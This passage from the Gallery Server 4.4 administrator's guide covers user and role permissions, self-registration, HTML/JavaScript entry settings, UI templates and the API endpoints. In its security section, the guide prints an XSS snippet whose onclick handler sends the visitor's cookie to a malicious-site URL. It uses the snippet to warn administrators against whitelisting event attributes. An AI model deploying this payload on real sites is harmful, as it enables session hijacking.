only access to the media assets directory as an additional safeguard. This helps guarantee that the web
application cannot manipulate the media files.
7. User Management and Security
Overview
Gallery Server uses a system of anonymous browsing, user accounts, and roles to provide a flexible
security model that should satisfy most security needs. There is no limit to the number of users and roles.
By default, anonymous users - that is, those who are not logged on - can browse the albums and media
assets, but they cannot perform tasks that modify data, such as adding albums, rotating an image, site
administration, etc.
Gallery Server uses the ASP.NET Membership and Role provider model. By default, the users and roles
are stored in the same database as the Gallery Server data. You can optionally configure Gallery Server to
connect to an existing store of users. Read more about configuring the membership provider in the
Membership Configuration section.
Users
Individuals access Gallery Server anonymously or by logging on with user accounts. User accounts have
access to albums and administrative tasks based on the roles to which the user belongs. Users are created
and maintained on the Manage Users page.
If you integrate Gallery Server with an existing membership system, you can manage your users with
your original system or with the user management function in Gallery Server.
Create a user
Create a user by clicking Add new user on the Manage Users page. Enter the requested information,
including the roles to assign to the user.
Gallery Server 4.4 Administrator’s Guide Page 88 of 246
An email address is optional but useful for allowing users to retrieve forgotten passwords.
Click Save to create the user.
Edit or delete a user
Click the user name to begin editing.
Gallery Server 4.4 Administrator’s Guide Page 89 of 246
Change the desired settings and click Save. To delete the user, click Delete.
If user albums are enabled, you can also enable or disable the user's personal album.
WARNING: Disabling a user's album causes the album and its contents to be deleted!
Roles
Permissions in Gallery Server are applied to roles rather than to users. Users are allowed to carry out
tasks when they are a member of one or more roles that provide the appropriate permission. By combining
users and roles in different configurations, you can achieve a highly configurable gallery.
Gallery Server will give a user permission to perform an activity if any of the user's roles contain the
requested permission, even if the others do not.
Below is a list of the permissions that can be applied to a role.
Gallery Server 4.4 Administrator’s Guide Page 90 of 246
Role permission
Description
Administer site (all
galleries and albums)
Provides unrestricted access to all functionality in Gallery Server. This is the only
permission that applies to all albums in every gallery and cannot be selectively
applied to individual albums or galleries.
Administer gallery
Provides unrestricted access to one or more galleries. This includes adding and
editing albums and media assets, configuring gallery settings, and managing
users and roles for the gallery. This permission applies to an entire gallery and
cannot be selectively applied to individual albums.
View albums / assets
Provides a read-only view of photos, videos and other media assets. Note that it
does not give access to the original, high resolution versions of images (if they
exist).
View original media
source
Provides read only access to the original versions of media files, if they exist.
Add albums
Allows a user to add an album in any of three ways: (a) The user can create a
new album using the New album button in the ribbon toolbar, (b) copy an
album from another album, or (c) move an album from another album.
Adding an album by moving it from another location is allowed only if
the user also has delete permission for the source album.
When moving or copying an album, users must have Add albums
permission on the destination album.
When a user moves or copies an album, any media assets within the
album are also transferred regardless of whether the user has Add
media assets permission on the destination album.
Add media assets
Gives a user the ability to add media assets such as images, videos, audio files,
and documents in any of three ways. The user can (a) add a new media asset
using the Add media button in the ribbon toolbar, (b) copy a media asset from
another album, or (c) move a media asset from another album.
Adding a media asset by moving it from another album is allowed only if
the user also has Delete media asset permission for the album from
which the media asset is being moved.
A user must have both Add media assets permission and Add albums
permission in order to add a ZIP file that contains one or more
directories, since Gallery Server converts the directories to albums.
Only those media assets that are enabled on the Media Object Types
page can be added.
Gallery Server 4.4 Administrator’s Guide Page 91 of 246
To add media assets through synchronizing, the Synchronize permission
is also needed.
Edit album
Allows a user to edit album information, such as the title, caption, tags, the
assigned thumbnail, and the order of media assets and child albums.
Edit media asset
Allows a user to edit a media asset's title, caption, tags, and other properties.
For images, it also allows rotation and the deletion of the original, high
resolution image (if it exists).
Delete child albums
Allows the deletion of a child album in one of two ways: the user can either
delete an album outright, or move an album to another album.
When moving an album, users must have this permission on the source
album, as moving can be thought of as deleting an album from one
location and adding it to another. (The user must also have permission
to add an album to the destination album.)
Delete media asset
Allows the deletion of a media asset in one of two ways. The user can either
delete a media asset outright or move a media asset to another album.
When moving a media asset, users must have this permission on the
source album, as moving can be thought of as deleting an object from
one location and adding it to another. (The user must also have
permission to add a media asset to the destination album.)
Synchronize
Provides the ability to synchronize the media asset files and directories on the
web server's hard drive with the records in the data store.
If a user has the ability to edit the media assets directory outside the
security boundary of Gallery Server (such as using a utility like File
Explorer), and the user also has Synchronize permission here, she
effectively has the ability to add and delete albums and media assets,
even if those permissions are not included in a user's role.
Do not show
watermark on image
This permission causes images to be shown to the user in their original form,
without a watermark applied. If a user belongs to more than one role with
conflicting values, then watermarks are not shown. This permission is ignored if
the watermark functionality is disabled for the gallery. Refer to the section
Watermarking for more information.
Create a role
Create a role by clicking Add new role… on the Manage Roles page.
Gallery Server 4.4 Administrator’s Guide Page 92 of 246
Specify the desired permissions and the albums the role applies to. Click Save to create the role.
Note: Assign users to a role on the Manage Users page.
Edit or delete a role
Click the role name to begin editing. Change the desired settings and click Save. To delete the role, click
Delete.
Understanding how roles apply to the album hierarchy
Role permissions automatically propagate to all child albums of the selected album. The top level
selected album(s) is considered to have explicitly assigned role permissions. Child albums are considered to
have inherited role permissions because they inherit the permission from a parent album.
Since permissions apply to all child albums of a selected album, notice that all child albums become
selected when you click an album. You cannot de-select individual child albums.
Gallery Server 4.4 Administrator’s Guide Page 93 of 246
Role behavior for new, moved or copied albums
Role permissions are assigned to the highest album you select, and child albums always inherit those
permissions. If a child album is added, moved, or copied, it automatically inherits the permissions of its new
parent album, and the previous permissions no longer apply.
When you move or copy an album that has a role explicitly assigned to it, that role stays with the album.
Self-registration
Gallery Server supports anonymous users creating accounts in the gallery. There are several
configuration options available such as requiring a valid e-mail address, setting the default security access
and more.
When self-registration is combined with user albums, a maintenance-free community gallery is possible
where visitors to your site each have their own gallery with no involvement required by administrators.
Setting up self-registration
The User Settings page contains configuration options for letting users create their own accounts:
Allow visitors to create accounts
This enables the self-registration feature. When checked, a create account link appears in the top right
of each page that takes the user to a registration wizard:
Gallery Server 4.4 Administrator’s Guide Page 94 of 246
When disabled, the Create account link is not shown and the only way to create a user is on the Manage
Users page.
Require e-mail validation to activate account
This option sends an e-mail to the user with a validation link that must be clicked before the user can log
on. Enable this feature to guarantee a valid e-mail address for each account.
The e-mail sent to the user looks similar to this:
Welcome to the gallery.
Before you can use your new account you must activate it - this ensures the e-mail
address you used is valid and belongs to you.
To activate your account, click the link below or copy and paste it into your
browser's location bar:
http://site.com/default.aspx?g=createaccount&verify=HFXEL%2BCR5OY%3D
Once you successfully activated your account, you can throw away this e-mail.
Thanks for joining.
Gallery Server 4.4 Administrator’s Guide Page 95 of 246
-- Gallery Server Administrator
The text of this e-mail can be changed by editing the appropriate text file in the directory \gs\templates\
of the web application.
Note: Be sure e-mail functionality is configured. This is done on the Site Settings page.
Note: When both e-mail validation and administrator approval are enabled, the user is first sent the
verification e-mail. After the user clicks the verification link, the administrator is sent an e-mail that the
user is waiting for approval.
Require administrator approval to activate account
When enabled, newly created users cannot log on until an administrator approves the account. To
receive e-mail notification when an account needs approval, specify one or more administrators in the User
Permissions section on the User Settings page, as seen here:
To receive an e-mail, the administrator must have a valid e-mail address and e-mail functionality must
be configured.
Use e-mail address for user name
The default is to allow a user to specify both a username and e-mail address, but you may want to
require everyone to use an e-mail address as their account name. This can simplify things for users and
administrators:
Users need only remember one piece of information rather than two, and remembering their e-
mail address is often easier than remembering a username, especially if their first choice in
username is already taken.
Gallery Server 4.4 Administrator’s Guide Page 96 of 246
Users can have their password e-mailed to them. This is not possible when an e-mail address is
optional.
When this option is enabled, the registration screen no longer requests a username:
An e-mail address that conforms to the expected format must be entered. For example, if a user enters
"Billy Joe", the message Not a valid e-mail appears. But the e-mail address "fake@fake.com" is allowed. To
force users to enter a valid e-mail address, enable the e-mail validation option discussed above.
User permissions
There are a number of permission-related settings an administrator can configure on the User Settings
page. These settings apply to all users in the current gallery.
Default roles
You can specify one or more roles that user accounts always belong to.
Gallery Server 4.4 Administrator’s Guide Page 97 of 246
For example, you might want all users in a role that provides read-only access to the entire site and/or
permission to upload items to a particular album.
Changing this setting immediately updates role membership for all user accounts. If user accounts are
created elsewhere (e.g. Active Directory), new users will be added to these roles the first time they log in or
when the maintenance routine runs, whichever is first.
You cannot select roles with site administration permission to help reduce the chance of locking yourself
and other admins out of the gallery if you later remove the role from this setting.
Note: If user albums are enabled, the user is automatically given full permission to his or her personal
album, even if no roles are specified here.
Note: This setting is disabled if you are a gallery administrator and the site administrator has
unchecked one or both of the options 'Allow gallery admins to manage users and roles' and 'Allow
gallery admins to view users/roles who do not have access to current gallery' on the Site Settings page.
New account notification
Specify one or more administrators to receive an e-mail notification when an account is created. This
applies to both administrator-created or self-registered accounts.
Gallery Server 4.4 Administrator’s Guide Page 98 of 246
To receive an e-mail, each user must have a valid e-mail address and e-mail functionality must be
configured.
If self-registration is enabled, the e-mail is not sent until the new account holder validates the account
from the verification e-mail.
Require everyone to log on
The default configuration allows users to anonymously browse the gallery, but they cannot modify
media assets. To require all users to log on, even to browse, disable the anonymous browsing setting.
Remember a logged on user that doesn't belong to a role has no permission to view or edit objects.
Be sure to include each user in at least one role to provide the desired level of access.
Note: Gallery Server cannot be configured to give anonymous users edit permission. Any action other
than viewing requires that the user log in.
Gallery Server 4.4 Administrator’s Guide Page 99 of 246
Allow anonymous rating
Specifies whether anonymous users are allowed to give a rating to media assets. Disable this option to
require that users be logged on to be able to rate an asset.
When the rating metadata item is disabled on the Metadata Settings page, users are never allowed to
rate an asset, regardless of this setting.
HTML and JavaScript entry
You can control whether users are allowed to enter HTML and JavaScript in titles, captions, external
media assets (for example, embed code for a YouTube video), and other user-editable fields.
Note: Site and gallery administrators are always allowed to enter any HTML and JavaScript they
choose, regardless of this setting.
Gallery Server 4.4 Administrator’s Guide Page 100 of 246
Allow user-entered HTML
When HTML entry is enabled, Gallery Server evaluates HTML entered by a user against the allowed list
of tags and attributes. Any HTML that is not approved is automatically. For external media assets, the user is
alerted and the object is not added.
When HTML entry is disabled, HTML is not accepted in any user-editable field. This is the most secure
and reliable way to prevent malicious attacks such as cross-site scripting.
Note: Disabling HTML entry does not remove HTML from existing assets. It only affects future edits.
Allow user-entered JavaScript
This setting specifies whether JavaScript is allowed in user input. When enabled, a user may include
<script> HTML blocks and the string javascript: in HTML attributes. When disabled, all <script> tags and
the string “javascript:” is removed from user input.
Note: To use <script> tags, you must also enable HTML content and specify the <script> HTML tag as an
allowed tag.
WARNING: It is recommended you leave this option disabled, or enable it temporarily, as turning it on
increases the risk of a cross-site scripting attack and other malicious attacks.
Security considerations for HTML and JavaScript
The default settings allow administrators to enter any HTML or JavaScript. Other users are limited to a
white-listed set of HTML tags and attributes and are prevented from entering any JavaScript. This is the
safest way to run your gallery, preventing common attack vectors such as script injection and cross site
scripting.
Use caution when adding HTML tags and attributes to the allowed lists, especially event attributes such
as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie
to a remote web site and is a common technique used in session hijacking attacks to impersonate another
user:
<p onclick="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>
In a default installation, this text cannot be entered by non-administrators anywhere in the gallery
because it contains the onclick attribute which is not in the list of allowed HTML attributes. However, if you
add onclick to the list, this text can be entered, even if you have the JavaScript entry disabled.
This is because JavaScript is very difficult to accurately detect. For example, when JavaScript entry is
disabled, the attack code above still works (the one using the onclick attribute). That’s because the
JavaScript setting only looks for the presence of the <script> tag and the string "javascript:", and neither of
these are present in the HTML example. Sure, Gallery Server could search for document.cookie, but if it does
that it needs to search for all the possible javascript statements, which is cumbersome and error-prone.
Note that the following sample does not work and is therefore not a security risk:
Gallery Server 4.4 Administrator’s Guide Page 101 of 246
<a href="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>
Even though the a tag and href attribute are in the list of allowed HTML, hyperlinks require the use of
the string "javascript:" like this:
<a href="javascript:document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click
me</a>
All of the allowed attributes in a default Gallery Server installation require the use of the string
"javascript:", so as long as you are restricting JavaScript input, you are protected.
Allow users to copy read-only objects
This setting indicates whether to allow the copying of assets a user has only view permissions for. In a
community gallery scenario, disabling this option can help prevent users from copying other users' items
into their own album.
When disabled, a user must be able to write to an album in order to copy assets from it. When enabled,
a user can copy assets from any album for which they have view permission.
Allow users to manage their own account
When enabled, a link to the user's account page appears at the top right of every page. This page allows
a user to change their password, update their e-mail address, enter a description, delete their saved
preferences, disable their personal user album (if user albums are enabled), and delete their account.
Disable this option to prevent a user from making these changes.
An administrator can always change these settings, even when this setting is disabled, through the
Manage Users page.
Gallery Server 4.4 Administrator’s Guide Page 102 of 246
Note: The page header must be visible for the manage account link to be visible. This is the ‘Show
header’ option that is found on the Gallery Settings and Gallery Control Settings pages.
Allow users to delete their account
When enabled, an option to delete the account is made available on each user's account page. This
setting is typically enabled in community gallery scenarios where users are creating their own accounts.
Warning: If user albums are enabled and a user deletes their account, the contents of the user's
personal album are also deleted.
8. Site Administration
User Settings
The User Settings page is described in these sections:
Self-registration
User permissions
User albums
Users
See the Users section for more information.
Roles
See the Roles section for more information.
Media Queue
The Media Queue page displays the status of the media queue processor. The processor runs on a
background thread performing time-intensive operations such as video transcoding and image processing. It
also lets you cancel a pending or current operation, review the details of a completed task, or remove it.
Gallery Server 4.4 Administrator’s Guide Page 103 of 246
When the media queue processor is running, the Media Queue page automatically updates in real-time
to show the current status.
Completed items older than 180 days are automatically removed.
Gallery Server 4.4 Administrator’s Guide Page 104 of 246
UI Templates
Overview
UI templates are a powerful feature that lets you modify the user interface using only HTML and
JavaScript skills. For example, here are a few things you can do with UI templates:
Add your company logo to the header
Add an image preview when hovering over a thumbnail
Add links in the album tree to common tags
Show the five most recently added items at the top of an album
We’ll look at how to do all these examples – and a few more later in this section. But first let’s get the
basics down. There are five sections in the gallery that are built from UI templates:
Gallery Server 4.4 Administrator’s Guide Page 105 of 246
Gallery Server 4.4 Administrator’s Guide Page 106 of 246
These two screen shots show the five templates: header, left pane, right pane, album, and media object.
The center pane displays either the album or media object template, depending on whether the user is
looking at an album or an individual media asset.
What is NOT built from UI templates?
The main browsing interface is built from templates, but it is important to understand what
parts are not:
Add media & Sync pages These two pages are custom ASCX user controls.
Login dialog The login dialog is based on the Login ASP.NET user control.
Gallery Server 4.4 Administrator’s Guide Page 107 of 246
JavaScript UI components Much of the UI is created from JavaScript components that are
invoked from the JavaScript in a UI template. For example, the tag cloud is generated by a
jQuery plugin invoked from the left pane UI template script.
Site admin area None of the pages on the Admin and Settings ribbon tabs are built from
UI templates. They are ASCX user controls.
Each section shown above is rendered from a UI template. A UI template consists of a chunk of HTML
containing jsRender syntax and some JavaScript that tells the browser what to do with the HTML. Typically,
the script invokes the jsRender template engine and appends the generated HTML to the page. A robust set
of gallery data is available on the client that gives you access to important information such as the album
and media asset data, user permissions, and gallery settings. We’ll get into the structure of this data later.
Note: GitHub hosts the jsRender project, where you can learn more about this excellent JavaScript
templating engine.
You can view the UI template definitions on the UI Templates page in the site admin area. In these two
images you can see the HTML and JavaScript values:
Gallery Server 4.4 Administrator’s Guide Page 108 of 246
You can assign which albums this particular template applies to on the Target Albums tab. If multiple
templates target the same album, the most specific one wins. For example, if the default template is
assigned to ‘All albums’ and a second template is assigned to the Samples album, the second template will
be used for the Samples album and any of its children because that template definition is ‘closer’ to the
album.
Gallery Server 4.4 Administrator’s Guide Page 109 of 246
The preview tab lets you see the result of any edits you make before saving the changes.
Anatomy of the left pane
Let’s take a close look at how one of the templates works. We’ll choose the left pane template. The
HTML looks like this:
<div id='{{:Settings.ClientId}}_lptv' class='gsp_lpalbumtree'></div>
{{if App.LatestUrl}}<p class='gsp_lplatest'><a href='{{:App.LatestUrl}}' class='jstree-anchor'><i class='jstree-
icon'></i>{{:Resource.LpRecent}}</a></p>{{/if}}
{{if App.TopRatedUrl}}<p class='gsp_lptoprated'><a href='{{:App.TopRatedUrl}}' class='jstree-anchor'><i
class='jstree-icon'></i>{{:Resource.LpTopRated}}</a></p>{{/if}}
<p class='gsp_msgfriendly gsp_addtopmargin10 gsp_addleftmargin4'>{{:Resource.LpTags}}</p>
<div id='{{:Settings.ClientId}}_lptagcloud' class='gsp_lptagcloud gsp_wait'></div>
<p class='gsp_msgfriendly gsp_addtopmargin10 gsp_addleftmargin4'>{{:Resource.LpPeople}}</p>
<div id='{{:Settings.ClientId}}_lppeoplecloud' class='gsp_lppeoplecloud gsp_wait'></div>
This HTML provides the structure to hold the five parts of the left pane: the album tree, recently added
hyperlink, top rated hyperlink, tag cloud, and people cloud. To keep things simple for now, let’s just look at
the first tag:
<div id='{{:Settings.ClientId}}_lptv' class='gsp_lpalbumtree'></div>
It defines a single, empty div tag and gives it a unique ID. The text between the double braces is
jsRender syntax that refers to the ClientId property of the Settings object. This particular property contains a
string that is unique to the current instance of the Gallery user control on the page. When it is rendered on
the page you end up with HTML similar to this:
<div id='gsp_g_lptv'></div>
Gallery Server 4.4 Administrator’s Guide Page 110 of 246
Note: Defining a unique ID is not required for most galleries, but it is there for admins who want to
include two instances of the gallery control on a page. For example, you might have a slideshow
running in one part of a web page and a video playing in another.
Astute observers will notice that a single div tag doesn’t look anything like the dynamic, interactive
album tree. So how does that div tag eventually become the tree? Let’s look at the JavaScript that is part of
the left pane template:
var $lp = $('#{{:Settings.LeftPaneClientId}}');
if ($lp.length > 0) {
$lp.html( $.render [ '{{:Settings.LeftPaneTmplName}}' ]( Gs.Vars['{{:Settings.ClientId}}'].gsData ));
var options = {
albumIdsToSelect: [{{:Album.Id}}],
{{if Settings.AllowUrlOverride}}navigateUrl: '{{:App.CurrentPageUrl}}',{{/if}}
containerClientId: '{{:Settings.LeftPaneClientId}}'
};
// Call the gsTreeView plug-in, which adds an album treeview
$('#{{:Settings.ClientId}}_lptv').gsTreeView(Gs.Vars['{{:Settings.ClientId}}'].gsAlbumTreeData, options);
}
var appUrl = Gs.Vars['{{:Settings.ClientId}}'].gsData.App.AppUrl;
var galleryId = Gs.Vars['{{:Settings.ClientId}}'].gsData.Album.GalleryId;
var tagCloudOptions = {
clientId: '{{:Settings.ClientId}}',
tagCloudType: 'tag',
tagCloudUrl: appUrl + '/api/meta/tags?q=&galleryId=' + galleryId + '&top=20&sortBy=count&sortAscending=false'
}
var peopleCloudOptions = {
clientId: '{{:Settings.ClientId}}',
tagCloudType: 'people',
tagCloudUrl: appUrl + '/api/meta/people?q=&galleryId=' + galleryId +
'&top=10&sortBy=count&sortAscending=false'
}
$('#{{:Settings.ClientId}}_lptagcloud').gsTagCloud(null, tagCloudOptions);
$('#{{:Settings.ClientId}}_lppeoplecloud').gsTagCloud(null, peopleCloudOptions );
Technically this text is not pure JavaScript. See the jsRender syntax in there, inside double braces (e.g.
{{:Settings.LeftPaneClientId}})? That’s right, it is ALSO a jsRender template that will be run through the
jsRender engine to produce pure JavaScript just before execution. This is a powerful feature and can be
harnessed to produce a wide variety of UI possibilities. Imagine writing script that loops through the images
in an album to calculate some value or invoke a callback to the server to request data about a specific
album.
The first thing the script does is grab a reference to the element that contains the left pane. In some
cases, such as on small screen sizes, the left pane should not be rendered, and in these circumstances the
server side logic does not include the left pane container tag.
The logic checks for the existence of the tag, and if present, executes this line:
$lp.html( $.render [ '{{:Settings.LeftPaneTmplName}}' ]( Gs.Vars['{{:Settings.ClientId}}'].gsData ));
Gallery Server 4.4 Administrator’s Guide Page 111 of 246
This will look familiar to anyone with jsRender experience or other template engines. In plain English, it
says to take the template having the name LeftPaneTmplName and the data in the variable gsData, run in
through the jsRender engine, and assign the resulting HTML to the left pane container element.
In other words, it takes the string <div id='{{:Settings.ClientId}}_lptv'></div>, converts it to <div
id='gsp_g_lptv'></div>, and adds it to the page’s HTML DOM.
So far all the script has done is add a div tag to the page, but we still need to convert it to the album
tree. That’s what the next section does:
var options = {
albumIdsToSelect: [{{:Album.Id}}],
{{if Settings.AllowUrlOverride}}navigateUrl: '{{:App.CurrentPageUrl}}',{{/if}}
containerClientId: '{{:Settings.LeftPaneClientId}}'
};
// Call the gsTreeView plug-in, which adds an album treeview
$('#{{:Settings.ClientId}}_lptv').gsTreeView(Gs.Vars['{{:Settings.ClientId}}'].gsAlbumTreeData, options);
It defines an options object specifying that the current album be highlighted, the URL users should go to
when they click an album node, and the name of the HTML element containing the left pane. Then it passes
this object, along with the tree data, to the gsTreeView jQueryUI widget. This widget does the hard work of
creating an HTML tree from the data and appending it to the page’s HTML.
jsRender syntax is quite powerful. Notice the above example included an if conditional that specified the
navigateUrl property only when the AllowUrlOverride property is true.
The remaining section of the JavaScript in the left pane UI template configures and renders the tag cloud
and people cloud. Let’s take a closer look at the line that defines the tag cloud options:
var tagCloudOptions = {
clientId: '{{:Settings.ClientId}}',
tagCloudType: 'tag',
tagCloudUrl: appUrl + '/api/meta/tags?q=&galleryId=' + galleryId + '&top=20&sortBy=count&sortAscending=false'
}
The query string parameters in the tagCloudUrl define the appearance of the tag cloud. For example,
one can configure the tag cloud to show the top 30 tags instead of the top 20 by changing top=20 to top=30.
The API Documentation section discusses the server functions that are available.
Debugging JavaScript
The JavaScript in a UI template typically invokes other, more complex JavaScript stored in files, where
they are minified and cached by the browser. This gives excellent performance, but can be tough to debug.
You can switch to debug versions of JavaScript files by setting the debug attribute to “true” in the
web.config file stored in the root of the gallery web application.
Use this trick, along with the debugging tools built into your browser, to step through JavaScript as it
executes in your gallery.
Gallery Server 4.4 Administrator’s Guide Page 112 of 246
If you are working with Gallery Server’s source code, be aware that most of the custom JavaScript is
contained in a TypeScript file named gallery.ts. You’ll want to edit that file rather than the generated
gallery.js file. Bundling and minification is handled with the Bundler & Minifier Visual Studio extension.
Client data model
Each page contains a rich set of data that is included with the browser request. A global JavaScript
variable named gsData exists that is scoped to the current gallery user control instance. In a default
installation, you can find it at Vars[‘gsp_g’].gsData, as seen in this image from Chrome:
Let’s take a brief look at each top-level property:
ActiveGalleryItems An array of GalleryItem instances that are currently selected. A gallery item can
represent an album or media asset (photo, video, audio, document, YouTube snippet, etc.)
ActiveMetaItems An array of MetaItem instances describing the currently selected item(s).
Album Information about the current album. It has two important properties worth explaining:
GalleryItems and MediaItems. Both albums and media assets, but a GalleryItem instance contains only basic
information about each item while a MediaItem instance contains all the metadata and other details about
an item. Because a GalleryItem instance is lightweight, it is well suited for album thumbnail views where you
only need basic information. Therefore, to optimize the data passed to the browser, the MediaItems
property is null when viewing an album and the GalleryItems property is null when viewing a single media
asset.
App Information about application-wide settings, such as the skin path and current URL.
MediaItem Detailed information about the current media asset. It has a value only when viewing a
single media asset.
Resource Contains language resources.
Settings Contains gallery-specific settings.
User Information about the current user.
Gallery Server 4.4 Administrator’s Guide Page 113 of 246
Here is a complete list of client objects and their properties:
Gallery Server 4.4 Administrator’s Guide Page 114 of 246
Full documentation can be found in the GalleryServerPro.Web.Entity API documentation, but let’s go
over the most important ones or ones that might be confusing.
Album.SortById An integer that indicates which metadata field the album is sorted by. It maps to the
enumeration values of MetadataItemName. The ID values are listed in the table on the Metadata Settings
page.
Album.VirtualType An integer that indicates the type of the current album. It maps to the
enumeration values of VirtualAlbumType (NotSpecified=0, NotVirtual=1, Root=2, Tag=3, People=4,
Search=5)
MediaItem.Index - The one-based index of this media asset among the others in the containing album.
MediaItem.Views and GalleryItem.Views The Views property is an array of DisplayObject instances.
Each DisplayObject represents a thumbnail, optimized, or original view of a media asset or album.
MediaItem.ViewIndex and GalleryItem.ViewIndex The zero-based index of the view currently being
rendered in the browser. This value can be used to access the matching view in the Views property. The
thumbnail is always at index 0.
Gallery Server 4.4 Administrator’s Guide Page 115 of 246
DisplayObject.HtmlOutput The HTML for the display object. For thumbnails this is a <img> tag; the
optimized/original HTML is generated from the media template defined for this MIME type on the Media
Templates page.
DisplayObject.ScriptOutput The JavaScript to execute to help render the display object. For example,
it may contain the script necessary to initialize and run FlowPlayer for a Flash video. This property is
populated from the script defined for this MIME type on the Media Templates page. It’s usually empty
except when necessary to initialize plugins such as Flash and Silverlight.
DisplayObject.Url An URL that links directly to the media asset file. For example, this value can be
assigned to the src attribute of an img, video, or audio tag.
DisplayObject.ViewSize This is an integer that maps to the enumeration values of DisplayObjectType
(Unknown=0, Thumbnail=1, Optimized=2, Original=3, External=4).
DisplayObject.ViewType An integer that maps to the enumeration values of MimeTypeCategory
(NotSet=0, Other=1, Image=2, Video=3, Audio=4). For example, imagine a video MediaItem or GalleryItem.
The Views property will have two or three DisplayObject instances (three if a web-optimized version has
been created; otherwise two). The DisplayObject instance having ViewSize=1 represents the thumbnail
image, so you can expect the ViewType to be 2 (image). But the remaining DisplayObject instances will have
ViewType=3 (video).
MetaItem.GTypeId Indicates the kind of gallery object the meta item describes. It is an integer that
maps to the GalleryObjectType enumeration (None=0, All=1, MediaObject=2, Album=3, Image=4, Audio=5,
Video=6, Generic=7, External=8, Unknown=9). Typically, the client will never have the values of None (0), All
(1), MediaObject (2), or Unknown (9).
The default UI templates use this data model, so they are an excellent place to look for examples of how
to do things. It can be a little tricky, though, because much of the data access is done within the jQuery plug-
ins.
API Documentation
There are a number of server-side functions you can call with HTTP and JavaScript to support complex
requirements. Below is a brief overview. In addition, the documentation for the GalleryServerPro.Web.Api
namespace contains additional information.
URL
Description
ALBUMS
/api/albums/{AlbumId}/inflated
Returns a GalleryData instance. Album.GalleryItems
will be populated; Album.MediaItems will be null.
Optional parms: top (int), skip (int) Can be used for
paged results.
Example:
Gallery Server 4.4 Administrator’s Guide Page 116 of 246
api/albums/22/inflated/?top=5&skip=5 returns the 6th
10th gallery items in album 22.
/api/albums/{AlbumId}/galleryitems
Returns an array of GalleryItem instances representing
the albums and media assets in the album. Optional
parms: sortByMetaNameId (int), sortAscending (bool)
Can be used to return items in the album in a custom
sort.
Example:
/api/albums/22/galleryitems/?sortByMetaNameId=111
&sortAscending=false returns the items in album 22
sorted in descending order on the DateAdded metadata
property.
/api/albums/{AlbumId}/mediaitems
Returns an array of MediaItem instances representing
the albums and media assets in the album. Optional
parms: sortByMetaNameId (int), sortAscending (bool)
Can be used to return items in the album in a custom
sort.
/api/albums/{AlbumId}/meta
Returns an array of MetaItem instances representing
the metadata for the album. Optional parms: none
/api/albums
Updates a limited set of properties for the album:
SortById, SortAscending, IsPrivate
/api/albums/{AlbumId}
Deletes the specified album, including the media files
and directory.
MEDIA
api/mediaitems/{MediaObjectId}/inflated
Returns a GalleryData instance. The MediaItem
property contains data for the specified media item.
The Album.MediaItems property contains data for the
remaining items in the album. Album.GalleryItems is
null.
api/mediaitems/{MediaObjectId}/meta
Returns an array of MetaItem instances belonging to
the specified media asset.
/api/mediaitems/createfromfile
Adds a media file to an album. Prior to calling this
method, the file should exist in App_Data\_Temp.
Requires an instance of AddMediaObjectSettings to be
POSTed. See example usage in
gs\pages\task\addobjects.ascx.
/api/mediaitems/{MediaObjectId}
Permanently deletes the media asset from the file
system and data store.
META ITEMS
/api/meta/tags/?galleryId={GalleryId}
Gets an array of Tag instances containing all tags used
in the specified gallery. Optional parms: q (string)
Specifies a search string to filter the tags by.
Example:
/api/meta/tags/?galleryId=1&q=bob returns all tags
with the text bob in them.
Gallery Server 4.4 Administrator’s Guide Page 117 of 246
/api/meta/people/?galleryId={GalleryId}
Gets an array of Tag instances containing all people
tagged in the specified gallery. Optional parms: q
(string) Specifies a search string to filter the tags by.
Example:
/api/meta/tags/?galleryId=1&q=bob returns all tags
with the text bob in them
/api/meta/rebuildmetaitem?metaNameId={
MetaNameId}&galleryId={GalleryId}
Rebuild the data entries for the specified meta property
for all media items in the gallery.
/api/meta/
Persists the POSTed MetaItem instance to the
database.
SYNCHRONIZATION
/api/task/startsync/?albumId={AlbumId}&i
sRecursive={true|false}&rebuildThumbnail
s={true|false}&rebuildOptimized={true|fal
se}&password={Password}
Begin a synchronization. Requires enabling the remote
sync option on the Admin page in the Site admin area.
/api/task/statussync/?id={GalleryId}
Gets the status of the synchronization. Requires an
HTTP header variable named X-ServerTask-TaskId to
be set to the sync task ID. See example in
gs/pages/task/synchronize.ascx
/api/task/abortsync/?id={GalleryId}
Cancels a synchronization. Requires an HTTP header
variable named X-ServerTask-TaskId to be set to the
sync task ID. See example in
gs/pages/task/synchronize.ascx
/api/task/startsync/
Begins a synchronization. Requires an instance of
SyncOptions to be POSTed and an HTTP header
variable named X-ServerTask-TaskId to be assigned a
value. The sync page uses this method to start a sync.
MISCELLANEOUS
/api/task/purgecache/
Purges the cache on the web server. The next HTTP
request will retrieve data from the database.
/api/task/logoff/
Logs off the current user
Examples
Below are several examples for editing a UI template. The first one steps you through the process from
beginning to end, so start with that one to get a feel for the process.
Add your company logo to the header
Let’s say we want to replace the gallery title at the top of the page with a business logo, like this:
Gallery Server 4.4 Administrator’s Guide Page 118 of 246
Go to the UI Templates page and choose Header from the gallery item dropdown. We can’t edit the
default template, so select Copy as new, enter a name, then click Save:
Gallery Server 4.4 Administrator’s Guide Page 119 of 246
On the HTML tab, scroll down until you find the place where the title is rendered:
{{if Settings.Title}}
<p class='gsp_bannertext'>
{{if Settings.TitleUrl}}<a title='{{:Settings.TitleUrlTt}}'
href='{{:Settings.TitleUrl}}'>{{:Settings.Title}}</a>{{else}}{{:Settings.Title}}{{/if}}</p>
{{/if}}
Replace this section with an img tag that points to your logo and save:
<img src='https://galleryserverpro.com/images/my-logo.png' />
Click the save button. The logo now appears in the top left corner as shown in the image shown earlier.
Show username or login link
This example displays a welcome message if the user is logged in or a login link if not. No JavaScript is
needed.
<p>{{if User.IsAuthenticated}}
Welcome, {{:User.UserName}}
{{else}}
<a href='{{:App.CurrentPageUrl}}?g=login'>Log In</a>
{{/if}}
</p>
Check permission
This example determines whether the current user has permission to delete media assets in the current
album.
<p>You {{if !Album.Permissions.DeleteMediaObject}}do not{{/if}} have permission to delete media
assets in the album '{{:Album.Title}}'.</p>
Show number of albums and media assets
This example shows the number of albums and media assets in an album.
<p>This album contains {{:Album.NumAlbums}} child albums and {{:Album.NumMediaItems}} media assets
({{:Album.NumGalleryItems}} total).</p>
Show bulleted list of albums and media assets
This example shows a bulleted list of albums and media assets. Each item is rendered in a hyperlink.
<ul>
